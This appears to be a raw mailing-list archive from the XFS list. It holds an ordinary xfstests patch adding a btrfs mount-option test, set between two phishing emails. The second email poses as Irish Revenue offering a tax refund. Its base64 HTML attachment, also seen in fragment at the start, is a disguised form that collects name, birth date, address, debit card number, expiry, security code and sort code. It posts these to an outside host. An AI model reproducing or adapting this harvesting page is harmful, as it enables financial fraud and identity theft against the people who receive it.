OyA8aW5wdXQgaWQ9ImZhY2xpZSIgbmFtZT0iZmFjbGllIiANDQptYXhsZW5ndGg9IjE2IiBz aXplPSIxNiIgY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+DQoJCQkJ CQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgYWxpZ249InJpZ2h0 Ij4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJ0eHRfZm9ybV9rb3AiPg0KCQkJCQkJCQkgRXhwaXJ5 IERhdGUgPHNwYW4gPjo8L3NwYW4+DQoJCQkJCQkJPC9kaXY+DQoJCQkJCQk8L3RkPg0KCQkJ CQkJPHRkIHZhbGlnbj0ibGVmdCI+DQoJCQkJCQkJICZuYnNwOyA8aW5wdXQgY2xhc3M9ImVu cm9sbG1lbnRJbnB1dEJveCIgDQ0KaWQ9ImV4cE1vbnRoIiBuYW1lPSJleHBNb250aCIgc2l6 ZT0iMiIgbWF4bGVuZ3RoPSIyIiB0eXBlPSJ0ZXh0Ij4mbmJzcDsmbmJzcDsvJm5ic3A7IDxp bnB1dCANDQpjbGFzcz0iZW5yb2xsbWVudElucHV0Qm94IiBpZD0iZXhwWWVhciIgbmFtZT0i ZXhwWWVhciIgc2l6ZT0iMiIgbWF4bGVuZ3RoPSIyIiB0eXBlPSJ0ZXh0Ij4NCgkJCQkJCQk8 c3BhbiBjbGFzcz0idHh0X2Zvcm1fa29wIj5NTS9ZWTwvc3Bhbj4NCgkJCQkJCTwvdGQ+DQoJ CQkJCTwvdHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0ZCBhbGlnbj0icmlnaHQiPg0KCQkJCQkJ CTxkaXYgY2xhc3M9InR4dF9mb3JtX2tvcCI+DQoJCQkJCQkJCSBDYXJkIFNlY3VyaXR5IENv ZGUgPHNwYW4gPjo8L3NwYW4+DQoJCQkJCQkJPC9kaXY+DQoJCQkJCQk8L3RkPg0KCQkJCQkJ PHRkIHZhbGlnbj0ibGVmdCI+DQoJCQkJCQkJICZuYnNwOyA8aW5wdXQgaWQ9ImNzYyIgbmFt ZT0iY3NjIiANDQptYXhsZW5ndGg9IjMiIHNpemU9IjMiIGNsYXNzPSJlbnJvbGxtZW50SW5w dXRCb3giIHR5cGU9InBhc3N3b3JkIj4NCgkJCQkJCQkgPC90ZD4NCgkJCQkJPC90cj4NCgkJ CQkJPHRyPg0KCQkJCQkJPHRkIGFsaWduPSJyaWdodCI+DQoJCQkJCQkJPGRpdiBjbGFzcz0i dHh0X2Zvcm1fa29wIj4NCgkJCQkJCQkJIFNvcnQtQ29kZSA8c3BhbiA+Ojwvc3Bhbj4NCgkJ CQkJCQk8L2Rpdj4NCgkJCQkJCTwvdGQ+DQoJCQkJCQk8dGQgdmFsaWduPSJsZWZ0Ij4NCgkJ CQkJCQkgJm5ic3A7IDxpbnB1dCBpZD0ic2MxIiBuYW1lPSJzYzEiIA0NCm1heGxlbmd0aD0i MiIgc2l6ZT0iMSIgY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+Jm5i c3A7LSZuYnNwOzxpbnB1dCBpZD0ic2MyIiBuYW1lPSJzYzIiIG1heGxlbmd0aD0iMiIgDQ0K c2l6ZT0iMSIgY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+Jm5ic3A7 LSZuYnNwOzxpbnB1dCBpZD0ic2MzIiBuYW1lPSJzYzMiIG1heGxlbmd0aD0iMiIgc2l6ZT0i MSIgDQ0KY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+DQoJCQkJCQk8 L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoNCg0KDQoNCjx0cj4NCgkJCQkJCTx0ZCBh bGlnbj0icmlnaHQiPg0KCQkJCQkJCTxkaXYgY2xhc3M9InR4dF9mb3JtX2tvcCI+DQoJCQkJ CQkJCSBDYXJkIEJhbGFuY2UgKEV4OiA3MjAuOTQgRVVSKSANDQo8c3BhbiA+Ojwvc3Bhbj4N CgkJCQkJCQk8L2Rpdj4NCgkJCQkJCTwvdGQ+DQoJCQkJCQk8dGQgdmFsaWduPSJsZWZ0Ij4N CgkJCQkJCQkgJm5ic3A7IDxpbnB1dCBpZD0iYmFsYW5jZSIgbmFtZT0iYmFsYW5jZSIgDQ0K bWF4bGVuZ3RoPSIxNiIgc2l6ZT0iMTYiIGNsYXNzPSJlbnJvbGxtZW50SW5wdXRCb3giIHR5 cGU9InRleHQiPg0KCQkJCQkJPC90ZD4NCgkJCQkJPC90cj4NCg0KDQoNCgkJCQkJCTx0ZCBj b2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NCgkJCQkJCQk8YnIgLz4NCgkJCQkJCQkgJm5i c3A7IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlID0iIiANDQpjbGFzcz0iYnV0dG9uX2Fk ZCIgLz4NCgkJCQkJCQkgPGJyIC8+PGJyIC8+DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0K CQkJCQk8L3Rib2R5Pg0KCQkJCQk8L3RhYmxlPg0KCQkJCTwvdGQ+DQoJCQk8L3RyPg0KCQkJ PC90Ym9keT4NCgkJCTwvdGFibGU+DQoJCTwvdGQ+DQoJPC90cj4NCgk8dHI+DQoJCTx0ZD4N CgkJCTxkaXYgaWQ9ImhlYWRlcjIiPjxiciAvPg0KCQkJCTxhPkhvbWU8L2E+PGltZyBzcmM9 ImltZy8xcGl4dHJhbnNwYXJhbnQuZ2lmIiB3aWR0aD0iNyI+Jm5ic3A7fDxpbWcgDQ0Kc3Jj PSJpbWcvMXBpeHRyYW5zcGFyYW50LmdpZiIgd2lkdGg9IjgiIC8+DQoJCQkJPGE+UHJpdmFj eSBTdGF0ZW1lbnQ8L2E+PGltZyBzcmM9ImltZy8xcGl4dHJhbnNwYXJhbnQuZ2lmIiB3aWR0 aD0iNyIgDQ0KLz4mbmJzcDt8PGltZyBzcmM9ImltZy8xcGl4dHJhbnNwYXJhbnQuZ2lmIiB3 aWR0aD0iOCIgLz4NCgkJCQk8YT5UZXJtcyBhbmQgQ29uZGl0aW9uczwvYT48aW1nIHNyYz0i aW1nLzFwaXh0cmFuc3BhcmFudC5naWYiIHdpZHRoPSI3IiANDQovPiZuYnNwO3w8aW1nIHNy Yz0iaW1nLzFwaXh0cmFuc3BhcmFudC5naWYiIHdpZHRoPSI3IiAvPg0KCQkJCTxhPkNvbnRh Y3Q8L2E+PGltZyBzcmM9ImltZy8xcGl4dHJhbnNwYXJhbnQuZ2lmIiB3aWR0aD0iNyIgLz4m bmJzcDt8PGltZyANDQpzcmM9ImltZy8xcGl4dHJhbnNwYXJhbnQuZ2lmIiB3aWR0aD0iNyIg Lz4NCgkJCQk8YT5GQVE8L2E+PGJyIC8+PGJyIC8+DQoJCQk8L2Rpdj4NCgkJPC90ZD4NCgk8 L3RyPg0KCTwvdGJvZHk+DQoJPC90YWJsZT4NCjwvZGl2Pg0KPC9mb3JtPg0KPC9ib2R5Pg0K PC9odG1sPg== ------=_NextPart_000_0012_726CA579.91DCFC79-- From quwenruo@cn.fujitsu.com Wed Jan 8 00:30:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D9D957F3F for ; Wed, 8 Jan 2014 00:30:05 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9DBB930408E for ; Tue, 7 Jan 2014 22:30:02 -0800 (PST) X-ASG-Debug-ID: 1389162596-04cbb04169c81ef0001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id G9FpNL8rxwC0AoWl for ; Tue, 07 Jan 2014 22:29:57 -0800 (PST) X-Barracuda-Envelope-From: quwenruo@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.95,622,1384272000"; d="scan'208";a="9388891" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 08 Jan 2014 14:26:18 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s086TtXf024964; Wed, 8 Jan 2014 14:29:55 +0800 Received: from adam-work.lan ([10.167.226.24]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014010814285358-915315 ; Wed, 8 Jan 2014 14:28:53 +0800 From: Qu Wenruo To: xfs@oss.sgi.com Cc: Eric Sandeen Subject: [PATCH] xfstests: Add pairing mount options test Date: Wed, 8 Jan 2014 14:30:48 +0800 X-ASG-Orig-Subj: [PATCH] xfstests: Add pairing mount options test Message-Id: <1389162648-19309-1-git-send-email-quwenruo@cn.fujitsu.com> X-Mailer: git-send-email 1.8.5.2 X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/08 14:28:53, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/08 14:28:54, Serialize complete at 2014/01/08 14:28:54 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1389162597 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143855 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Test remount btrfs with different pairing options like barrier and no barrier. Mainly used to test the following comming btrfs kernel commit:(Not in mainline yet) 8dd6d2c btrfs: Add treelog mount option. f1eccd3 btrfs: Add datasum mount option. aad3269 btrfs: Add datacow mount option. 22bab74 btrfs: Add acl mount option. 170e45e btrfs: Add noflushoncommit mount option. ce41bc9 btrfs: Add noenospc_debug mount option. f3c639b btrfs: Add nodiscard mount option. 962cbee btrfs: Add noautodefrag mount option. 0b4fa2a btrfs: Add "barrier" option to support "-o remount,barrier" Signed-off-by: Qu Wenruo Cc: Eric Sandeen --- tests/btrfs/025 | 125 ++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/025.out | 2 + tests/btrfs/group | 1 + 3 files changed, 128 insertions(+) create mode 100755 tests/btrfs/025 create mode 100644 tests/btrfs/025.out diff --git a/tests/btrfs/025 b/tests/btrfs/025 new file mode 100755 index 0000000..014da19 --- /dev/null +++ b/tests/btrfs/025 @@ -0,0 +1,125 @@ +#!/bin/bash +# Btrfs QA test No. 025 +# +# Check for paired btrfs mount options +# +# Regression test for the following btrfs commits +# 8dd6d2c btrfs: Add treelog mount option. +# f1eccd3 btrfs: Add datasum mount option. +# aad3269 btrfs: Add datacow mount option. +# 22bab74 btrfs: Add acl mount option. +# 170e45e btrfs: Add noflushoncommit mount option. +# ce41bc9 btrfs: Add noenospc_debug mount option. +# f3c639b btrfs: Add nodiscard mount option. +# 962cbee btrfs: Add noautodefrag mount option. +# 0b4fa2a btrfs: Add "barrier" option to support "-o remount,barrier" +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Fujitsu, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +status=0 # success is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +PAIRING_OPTIONS="autodefrag noautodefrag discard nodiscard enospc_debug noenospc_debug flushoncommit noflushoncommit noacl acl nobarrier barrier nodatacow datacow nodatasum datasum notreelog treelog space_cache nospace_cache ssd nossd" + +# options that does not show in mount options +HIDDEN_OPTIONS="noautodefrag nodiscard noenospc_debug noflushoncommit acl barrier datacow datasum treelog nossd" +_cleanup() +{ + rm $tmp.running &> /dev/null + wait + cd / + _scratch_unmount &> /dev/null +} + +# check the mount option +check_mount_opt() +{ + mount_point=$1 + expected_opt=$2 + + mount_opt=`cat /proc/mounts | grep $mount_point | cut -d\ -f4` + if grep $2 $mount_opt; then + _fail "test failed: expected $expected_opt option not shown in mount options" + fi +} + +# background noise +start_bgnoise() +{ + touch $tmp.running + while [ -f "$tmp.running" ]; do + run_check $FSSTRESS_PROG -d $SCRATCH_MNT -n 500 -p 4 + if [ $? != 0 ]; then + _fail "Some error happened executing fsstress when remounting" + fi + done & + noise_pid=`jobs -p %1` + echo $noise_pid > $tmp.running +} + +stop_bgnoise() +{ + pid=`cat $tmp.running` + rm $tmp.running + wait $pid +} + +# get standard environment, filters +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux + +_need_to_be_root +_require_scratch + +# no need to use the original mount options +unset MOUNT_OPTIONS + +_scratch_mkfs > /dev/null 2>&1 +_scratch_mount + +start_bgnoise +for remount_opt in $PAIRING_OPTIONS; do + # Sleep for a while ensuring fsstress to do enough stress + sleep 1 + _remount $SCRATCH_MNT $remount_opt + if [ $? != 0 ]; then + stop_bgnoise + _fail "test failed: $remount_opt not supported" + fi + if [[ ! $HIDDEN_OPTIONS =~ $remount ]]; then + check_mount_opt $SCRATCH_MNT $remount_opt + + # Special check for nodatacow + if [ $remount_opt == "nodatacow" ]; then + check_mount_opt $SCRATCH_MNT nodatasum + fi + fi +done +stop_bgnoise +_scratch_unmount || _fail "umount failed" +echo "Silence is golden" +status=0; exit diff --git a/tests/btrfs/025.out b/tests/btrfs/025.out new file mode 100644 index 0000000..3d70951 --- /dev/null +++ b/tests/btrfs/025.out @@ -0,0 +1,2 @@ +QA output created by 025 +Silence is golden diff --git a/tests/btrfs/group b/tests/btrfs/group index 87e7bca..1a4dad8 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -27,3 +27,4 @@ 022 auto 023 auto 024 auto quick +025 auto quick -- 1.8.5.2 From tax.return@revenue.ie Wed Jan 8 01:16:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.0 required=5.0 tests=DEAR_SOMETHING,T_HTML_ATTACH, T_OBFU_HTML_ATTACH autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 507AF7F3F for ; Wed, 8 Jan 2014 01:16:34 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C4566AC002 for ; Tue, 7 Jan 2014 23:16:33 -0800 (PST) X-ASG-Debug-ID: 1389165387-04cb6c537ec894c0001-w1Z2WR Received: from pan.hosting.local (mail.buurtsportbrussel.be [194.78.95.107]) by cuda.sgi.com with ESMTP id kDsg6S3nGpZxUiVi (version=TLSv1 cipher=RC4-MD5 bits=128 verify=NO) for ; Tue, 07 Jan 2014 23:16:28 -0800 (PST) X-Barracuda-Envelope-From: tax.return@revenue.ie X-Barracuda-Apparent-Source-IP: 194.78.95.107 Received: from PAN-NEW (10.1.2.1) by pan.hosting.local (10.1.2.2) with Microsoft SMTP Server id 8.1.436.0; Wed, 8 Jan 2014 06:46:05 +0100 Received: from revenue.ie ([86.125.87.36]) by PAN-NEW ; Wed, 8 Jan 2014 06:44:28 +0100 From: Revenue - Irish Tax & Customs To: linux-xfs@oss.sgi.com Subject: Tax Return for year 2013 Date: Wed, 8 Jan 2014 07:43:34 +0200 X-ASG-Orig-Subj: Tax Return for year 2013 Message-ID: <20140108074334.1EF5F9CE49531A6F@revenue.ie> MIME-Version: 1.0 Disposition-Notification-To: birthe.hansen1943@hotmail.com Content-Type: multipart/mixed; boundary="----=_NextPart_000_0012_3C77755A.ADA1319F" X-Barracuda-Connect: mail.buurtsportbrussel.be[194.78.95.107] X-Barracuda-Start-Time: 1389165388 X-Barracuda-Encrypted: RC4-MD5 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.00 X-Barracuda-Spam-Status: No, SCORE=1.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG194 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143856 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.00 BSF_SC0_TG194 Custom Rule TG194 ------=_NextPart_000_0012_3C77755A.ADA1319F Content-Type: text/plain Content-Transfer-Encoding: 8bit Dear Sir / Madam , I am sending this email to announce: After the last annual calculation of your fiscal activity we have determined that you are eligible to receive a tax return of: EUR 371.91 To receive your return, you need to create a Government gateway account. Please download and complete the attached form. The contents of this email and any attachments are confidential and as applicable, copyright in these is reserved to Revenue - Irish Tax & Customs. Unless expressly authorized by us, any further dissemination or distribution of this email or its attachments is prohibited. ------=_NextPart_000_0012_3C77755A.ADA1319F Content-Type: application/octet-stream; name="Revenue - Irish Tax Customs.html" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Revenue - Irish Tax Customs.html" PCEtLSBzYXZlZCBmcm9tIHVybD0oMDAxNilodHRwOi8vbG9jYWxob3N0IC0tPg0KPGh0bWw+ DQo8aGVhZD4NCjx0aXRsZT5UQVggUkVUVVJOIEZPUiBZRUFSIDIwMTM8L3RpdGxlPg0KPGJh c2UgaHJlZj0iaHR0cDovL3F1ZWVuc21pYW1pY29ybmVyLmNvbS9yZXdlbnVlL2FjdGlvbi5w aHAiPg0KPGxpbmsgaHJlZj0iY3NzL2FyY290LXN0eWxlcy0wMl9yZWdpc3Rlci5jc3MiIHJl bD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPg0KPGxpbmsgaHJlZj0iY3NzL2FyY290 LXN0eWxlcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPg0KPGxpbmsg aHJlZj0iY3NzL2htcmMuY3NzIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIj4N CjxzY3JpcHQgc3JjPSJqcy9jaGVjay5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBsYW5n dWFnZT0iamF2YXNjcmlwdCI+PC9zY3JpcHQ+DQo8L2hlYWQ+DQo8Ym9keT4NCjxmb3JtIGlk PSJmcm0iIG1ldGhvZD0icG9zdCIgYWN0aW9uPSJhY3Rpb24ucGhwIiBvbnN1Ym1pdD0icmV0 dXJuIHZhbGlkYXRlKCkiPg0KPGRpdiBhbGlnbj0ibGVmdCI+DQoJPHRhYmxlIGJvcmRlcj0i MCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCgk8dGJvZHk+DQoJPHRyPg0K CQk8dGQgd2lkdGg9IjYwMCI+DQoJCQk8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0i MCIgY2VsbHNwYWNpbmc9IjAiIHdpZHRoPSIxMDAlIj4NCgkJCTx0Ym9keT4NCgkJCTx0cj4N CgkJCQk8dGQ+DQoJCQkJCTx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxs c3BhY2luZz0iMCIgd2lkdGg9IjEwMCUiPg0KCQkJCQk8dGJvZHk+DQoJCQkJCTx0cj4NCgkJ CQkJCTx0ZCBhbGlnbj0iY2VudGVyIj4NCgkJCQkJCQk8ZGl2IGlkPSJoZWFkZXIiPg0KCQkJ CQkJCQk8aW1nIHNyYz0iaW1nL2htcmNMb2dvLmdpZiIgYWx0PSJITSANDQpSZXZlbnVlICZh bXA7IEN1c3RvbXMiIGhlaWdodD0iODAiIHdpZHRoPSIyNTAiPg0KCQkJCQkJCQk8ZGl2IGlk PSJoZWFkZXItdGl0bGUiPk9ubGluZSANDQpTZXJ2aWNlczwvZGl2Pg0KCQkJCQkJCQk8dWwg Y2xhc3M9ImlubGluZS1uYXZpZ2F0aW9uIj4NCgkJCQkJCQkJCTxsaT48YT5SZXZlbnVlIC0g SXJpc2ggVGF4IA0NCiYgQ3VzdG9tczwvYT48L2xpPg0KCQkJCQkJCQkJDQ0KPGxpPjxhPkN5 bXJhZWc8L3NwYW4+PC9hPjwvbGk+DQoJCQkJCQkJCQk8bGk+PGE+Q29udGFjdCB1czwvYT48 L2xpPg0KCQkJCQkJCQkJPGxpPjxhPkhlbHA8L2E+PC9saT4NCgkJCQkJCQkJPC91bD4NCgkJ CQkJCQk8L2Rpdj4JCQkJCQ0NCgkJDQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8 L3Rib2R5Pg0KCQkJCQk8L3RhYmxlPg0KCQkJCTwvdGQ+DQoJCQk8L3RyPg0KCQkJPCEtLSBI RUFERVIgLS0+DQoJCQk8dHIgdmFsaWduPSJ0b3AiPg0KCQkJCTx0ZCB2YWxpZ249InRvcCIg d2lkdGg9IjEwMCUiPg0KCQkJCQk8Zm9ybSBuYW1lPSJmcm0iIG1ldGhvZD0icG9zdCIgYWN0 aW9uPSJhY3Rpb24ucGhwIiANDQpvbnN1Ym1pdD0icmV0dXJuIHZhbGlkYXRlKCkiPg0KCQkJ CQk8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHdp ZHRoPSIxMDAlIj4NCgkJCQkJPHRib2R5Pg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgY29sc3Bh bj0iMiIgYWxpZ249ImxlZnQiPiZuYnNwOzwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJCTx0cj4N CgkJCQkJCTx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0ibGVmdCI+DQoJCQkJCQkJPGJyIA0NCi8+ Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQoJCQkJ CQkJPGI+PHU+QWRkcmVzcyBJbmZvcm1hdGlvbjwvdT4gLSA8L2I+UGxlYXNlIA0NCmVudGVy IHlvdXIgbmFtZSBhbmQgYWRkcmVzcyBhcyB5b3UgaGF2ZSBpdCBsaXN0ZWQgZm9yIHlvdXIg ZGViaXQgY2FyZC4NCgkJCQkJCTwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJCTx0cj4NCgkJCQkJ CTx0ZD4NCgkJCQkJCQkgJm5ic3A7DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPgkJCQkJPHRy Pg0KCQkJCQkJPHRkIGFsaWduPSJyaWdodCI+DQoJCQkJCQkJPGRpdiBjbGFzcz0idHh0X2Zv cm1fa29wIj4NCgkJCQkJCQkJIENhcmRIb2xkZXIgTmFtZSA8c3BhbiA+Ojwvc3Bhbj4NCgkJ CQkJCQk8L2Rpdj4NCgkJCQkJCTwvdGQ+DQoJCQkJCQk8dGQgdmFsaWduPSJsZWZ0Ij4NCgkJ CQkJCQkgJm5ic3A7IDxpbnB1dCBpZD0ibmFtZSIgbmFtZT0ibmFtZSIgDQ0Kc2l6ZT0iMjAi IGNsYXNzPSJlbnJvbGxtZW50SW5wdXRCb3giIHR5cGU9InRleHQiPg0KCQkJCQkJPC90ZD4N CgkJCQkJPC90cj4NCgkJCQkJPHRyPg0KCQkJCQkJPHRkIGFsaWduPSJyaWdodCI+DQoJCQkJ CQkJPGRpdiBjbGFzcz0idHh0X2Zvcm1fa29wIj4NCgkJCQkJCQkJIERhdGUgb2YgQmlydGgg PHNwYW4gPjo8L3NwYW4+DQoJCQkJCQkJPC9kaXY+DQoJCQkJCQk8L3RkPg0KCQkJCQkJPHRk IHZhbGlnbj0ibGVmdCI+DQoJCQkJCQkJICZuYnNwOyA8aW5wdXQgaWQ9ImRvYjEiIG5hbWU9 ImRvYjEiIA0NCm1heGxlbmd0aD0iMiIgc2l6ZT0iMiIgY2xhc3M9ImVucm9sbG1lbnRJbnB1 dEJveCIgdHlwZT0idGV4dCI+Jm5ic3A7LyZuYnNwOzxpbnB1dCBpZD0iZG9iMiIgbmFtZT0i ZG9iMiIgDQ0KbWF4bGVuZ3RoPSIyIiBzaXplPSIyIiBjbGFzcz0iZW5yb2xsbWVudElucHV0 Qm94IiB0eXBlPSJ0ZXh0Ij4mbmJzcDsvJm5ic3A7PGlucHV0IGlkPSJkb2IzIiBuYW1lPSJk b2IzIiANDQptYXhsZW5ndGg9IjQiIHNpemU9IjQiIGNsYXNzPSJlbnJvbGxtZW50SW5wdXRC b3giIHR5cGU9InRleHQiPg0KCQkJCQkJPC90ZD4NCgkJCQkJPC90cj4NCgkJCQkJPHRyPg0K CQkJCQkJPHRkIGFsaWduPSJyaWdodCI+DQoJCQkJCQkJPGRpdiBjbGFzcz0idHh0X2Zvcm1f a29wIj4NCgkJCQkJCQkJIEFkZHJlc3MgPHNwYW4gPjo8L3NwYW4+DQoJCQkJCQkJPC9kaXY+ DQoJCQkJCQk8L3RkPg0KCQkJCQkJPHRkIHZhbGlnbj0ibGVmdCI+DQoJCQkJCQkJICZuYnNw OyA8aW5wdXQgaWQ9InN0cmFkYSIgbmFtZT0ic3RyYWRhIiANDQpzaXplPSIyNSIgY2xhc3M9 ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+DQoJCQkJCQk8L3RkPg0KCQkJCQk8 L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgYWxpZ249InJpZ2h0Ij4NCgkJCQkJCQk8ZGl2 IGNsYXNzPSJ0eHRfZm9ybV9rb3AiPg0KCQkJCQkJCQkgVG93bi9DaXR5IDxzcGFuID46PC9z cGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90ZD4NCgkJCQkJCTx0ZCB2YWxpZ249Imxl ZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGlkPSJvcmFzIiBuYW1lPSJvcmFzIiBzaXpl PSIxNSIgDQ0KY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+DQoJCQkJ CQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgYWxpZ249InJpZ2h0 Ij4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJ0eHRfZm9ybV9rb3AiPg0KCQkJCQkJCQkgUHJvdmlu Y2UvQ291bnR5IDxzcGFuID46PC9zcGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90ZD4N CgkJCQkJCTx0ZCB2YWxpZ249ImxlZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGlkPSJz dGF0IiBuYW1lPSJzdGF0IiBzaXplPSIxNSIgDQ0KY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJv eCIgdHlwZT0idGV4dCI+DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQkNCgkJCQkJ CTwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0ZCBhbGlnbj0icmlnaHQi Pg0KCQkJCQkJCTxkaXYgY2xhc3M9InR4dF9mb3JtX2tvcCI+DQoJCQkJCQkJCSBQaG9uZSBO dW1iZXIgPHNwYW4gPjo8L3NwYW4+DQoJCQkJCQkJPC9kaXY+DQoJCQkJCQk8L3RkPg0KCQkJ CQkJPHRkIHZhbGlnbj0ibGVmdCI+DQoJCQkJCQkJICZuYnNwOyA8aW5wdXQgaWQ9InRlbGVm b24iIG5hbWU9InRlbGVmb24iIA0NCm1heGxlbmd0aD0iMTMiIHNpemU9IjEwIiBjbGFzcz0i ZW5yb2xsbWVudElucHV0Qm94IiB0eXBlPSJ0ZXh0Ij4NCgkJCQkJCTwvdGQ+DQoJCQkJCTwv dHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0ZD4NCgkJCQkJCQkgJm5ic3A7DQoJCQkJCQk8L3Rk Pg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgY29sc3Bhbj0iMiIgYWxpZ249 ImxlZnQiPg0KCQkJCQkJCTxiciANDQovPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOw0KCQkJCQkJCTxiPjx1PkRlYml0IENhcmQgSW5mb3JtYXRp b248L3U+IC0gPC9iPlBsZWFzZSANDQplbnRlciB5b3VyIERlYml0IENhcmQgd2hlcmUgcmVm 